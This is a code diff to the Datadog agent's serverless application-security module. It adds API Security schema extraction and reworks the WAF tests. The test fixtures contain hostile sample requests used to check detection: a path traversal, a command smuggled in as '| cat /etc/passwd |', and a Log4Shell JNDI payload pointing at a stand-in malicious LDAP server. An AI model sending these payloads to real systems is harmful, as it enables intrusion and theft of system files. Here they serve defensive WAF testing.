serverless/appsec: API Security

go.mod

@@ -71,7 +71,7 @@ require (
 	code.cloudfoundry.org/garden v0.0.0-20210208153517-580cadd489d2
 	code.cloudfoundry.org/lager v2.0.0+incompatible
 	github.com/CycloneDX/cyclonedx-go v0.7.2
-	github.com/DataDog/appsec-internal-go v1.0.2
+	github.com/DataDog/appsec-internal-go v1.2.0
 	github.com/DataDog/datadog-agent/pkg/gohai v0.50.0-rc.4
 	github.com/DataDog/datadog-agent/pkg/obfuscate v0.50.0-rc.4
 	github.com/DataDog/datadog-agent/pkg/remoteconfig/state v0.50.0-rc.4

pkg/serverless/appsec/appsec.go

@@ -9,9 +9,9 @@ package appsec
 
 import (
 	"encoding/json"
+	"math/rand"
 	"time"
 
-	"github.com/DataDog/appsec-internal-go/appsec"
 	"github.com/DataDog/datadog-agent/pkg/serverless/appsec/config"
 	"github.com/DataDog/datadog-agent/pkg/serverless/appsec/httpsec"
 	"github.com/DataDog/datadog-agent/pkg/serverless/proxy"
@@ -78,9 +78,10 @@ func newAppSec() (*AppSec, error) {
 	}
 
 	var rules map[string]any
-	if err := json.Unmarshal([]byte(appsec.StaticRecommendedRules), &rules); err != nil {
+	if err := json.Unmarshal(cfg.Rules, &rules); err != nil {
 		return nil, err
 	}
+
 	handle, err := waf.NewHandle(rules, cfg.Obfuscator.KeyRegex, cfg.Obfuscator.ValueRegex)
 	if err != nil {
 		return nil, err
@@ -105,14 +106,20 @@ func (a *AppSec) Close() error {
 
 // Monitor runs the security event rules and return the events as a slice
 // The monitored addresses are all persistent addresses
-func (a *AppSec) Monitor(addresses map[string]any) []any {
+func (a *AppSec) Monitor(addresses map[string]any) *waf.Result {
 	log.Debugf("appsec: monitoring the request context %v", addresses)
 	ctx := waf.NewContext(a.handle)
 	if ctx == nil {
 		return nil
 	}
 	defer ctx.Close()
 	timeout := a.cfg.WafTimeout
+
+	// Ask the WAF for schema reporting if API security is enabled
+	if a.canExtractSchemas() {
+		addresses["waf.context.processor"] = map[string]any{"extract-schema": true}
+	}
+
 	res, err := ctx.Run(waf.RunAddressData{Persistent: addresses}, timeout)
 	if err != nil {
 		if err == waf.ErrTimeout {
@@ -131,7 +138,7 @@ func (a *AppSec) Monitor(addresses map[string]any) []any {
 		log.Debugf("appsec: security events discarded: the rate limit of %d events/s is reached", a.cfg.TraceRateLimit)
 		return nil
 	}
-	return res.Events
+	return &res
 }
 
 // wafHealth is a simple test helper that returns the same thing as `waf.Health`
@@ -146,3 +153,9 @@ func wafHealth() error {
 	}
 	return nil
 }
+
+// canExtractSchemas checks that API Security is enabled
+// and that sampling rate allows schema extraction for a specific monitoring instance
+func (a *AppSec) canExtractSchemas() bool {
+	return a.cfg.APISec.Enabled && a.cfg.APISec.SampleRate >= rand.Float64()
+}

pkg/serverless/appsec/appsec_test.go

@@ -6,6 +6,7 @@
 package appsec
 
 import (
+	"encoding/json"
 	"fmt"
 	"strconv"
 	"testing"
@@ -47,26 +48,108 @@ func TestMonitor(t *testing.T) {
 		t.Skip("host not supported by appsec", err)
 	}
 
-	t.Setenv("DD_SERVERLESS_APPSEC_ENABLED", "true")
-	t.Setenv("DD_APPSEC_WAF_TIMEOUT", "2s")
-	asm, err := newAppSec()
-	require.NoError(t, err)
-	require.Nil(t, err)
+	t.Run("events-detection", func(t *testing.T) {
+		t.Setenv("DD_SERVERLESS_APPSEC_ENABLED", "true")
+		t.Setenv("DD_APPSEC_WAF_TIMEOUT", "2s")
+		asm, err := newAppSec()
+		require.NoError(t, err)
+		defer asm.Close()
 
-	uri := "/path/to/resource/../../../../../database.yml.sqlite3"
-	addresses := map[string]interface{}{
-		"server.request.uri.raw": uri,
-		"server.request.headers.no_cookies": map[string][]string{
-			"user-agent": {"sql power injector"},
-		},
-		"server.request.query": map[string][]string{
-			"query": {"$http_server_vars"},
-		},
-		"server.request.path_params": map[string]string{
-			"proxy": "/path/to/resource | cat /etc/passwd |",
-		},
-		"server.request.body": "eyJ0ZXN0I${jndi:ldap://16.0.2.staging.malicious.server/a}joiYm9keSJ9",
-	}
-	events := asm.Monitor(addresses)
-	require.NotNil(t, events)
+		uri := "/path/to/resource/../../../../../database.yml.sqlite3"
+		addresses := map[string]interface{}{
+			"server.request.uri.raw": uri,
+			"server.request.headers.no_cookies": map[string][]string{
+				"user-agent": {"sql power injector"},
+			},
+			"server.request.query": map[string][]string{
+				"query": {"$http_server_vars"},
+			},
+			"server.request.path_params": map[string]string{
+				"proxy": "/path/to/resource | cat /etc/passwd |",
+			},
+			"server.request.body": "eyJ0ZXN0I${jndi:ldap://16.0.2.staging.malicious.server/a}joiYm9keSJ9",
+		}
+		res := asm.Monitor(addresses)
+		require.NotNil(t, res)
+		require.True(t, res.HasEvents())
+	})
+
+	t.Run("api-security", func(t *testing.T) {
+		t.Setenv("DD_API_SECURITY_REQUEST_SAMPLE_RATE", "1.0")
+		t.Setenv("DD_EXPERIMENTAL_API_SECURITY_ENABLED", "true")
+		t.Setenv("DD_SERVERLESS_APPSEC_ENABLED", "true")
+		t.Setenv("DD_APPSEC_WAF_TIMEOUT", "2s")
+		asm, err := newAppSec()
+		require.NoError(t, err)
+		defer asm.Close()
+		for _, tc := range []struct {
+			name       string
+			pathParams map[string]any
+			schema     string
+		}{
+			{
+				name: "string",
+				pathParams: map[string]any{
+					"param": "string proxy value",
+				},
+				schema: `{"_dd.appsec.s.req.params":[{"param":[8]}],"_dd.appsec.s.req.query":[{"query":[[[8]],{"len":1}]}]}`,
+			},
+			{
+				name: "int",
+				pathParams: map[string]any{
+					"param": 10,
+				},
+				schema: `{"_dd.appsec.s.req.params":[{"param":[4]}],"_dd.appsec.s.req.query":[{"query":[[[8]],{"len":1}]}]}`,
+			},
+			{
+				name: "float",
+				pathParams: map[string]any{
+					"param": 10.0,
+				},
+				schema: `{"_dd.appsec.s.req.params":[{"param":[16]}],"_dd.appsec.s.req.query":[{"query":[[[8]],{"len":1}]}]}`,
+			},
+			{
+				name: "bool",
+				pathParams: map[string]any{
+					"param": true,
+				},
+				schema: `{"_dd.appsec.s.req.params":[{"param":[2]}],"_dd.appsec.s.req.query":[{"query":[[[8]],{"len":1}]}]}`,
+			},
+			{
+				name: "record",
+				pathParams: map[string]any{
+					"param": map[string]any{"recordKey": "recordValue"},
+				},
+				schema: `{"_dd.appsec.s.req.params":[{"param":[{"recordKey":[8]}]}],"_dd.appsec.s.req.query":[{"query":[[[8]],{"len":1}]}]}`,
+			},
+			{
+				name: "array",
+				pathParams: map[string]any{
+					"param": []any{"arrayVal1", 10, false, 10.0},
+				},
+				schema: `{"_dd.appsec.s.req.params":[{"param":[[[2],[16],[4],[8]],{"len":4}]}],"_dd.appsec.s.req.query":[{"query":[[[8]],{"len":1}]}]}`,
+			},
+			{
+				name: "vin-scanner",
+				pathParams: map[string]any{
+					"vin": "AAAAAAAAAAAAAAAAA",
+				},
+				schema: `{"_dd.appsec.s.req.params":[{"vin":[8,{"category":"pii","type":"vin"}]}],"_dd.appsec.s.req.query":[{"query":[[[8]],{"len":1}]}]}`,
+			},
+		} {
+			t.Run(tc.name, func(t *testing.T) {
+				res := asm.Monitor(map[string]any{
+					"server.request.path_params": tc.pathParams,
+					"server.request.query": map[string][]string{
+						"query": {"$http_server_vars"},
+					},
+				})
+				require.NotNil(t, res)
+				require.True(t, res.HasDerivatives())
+				schema, err := json.Marshal(res.Derivatives)
+				require.NoError(t, err)
+				require.Equal(t, tc.schema, string(schema))
+			})
+		}
+	})
 }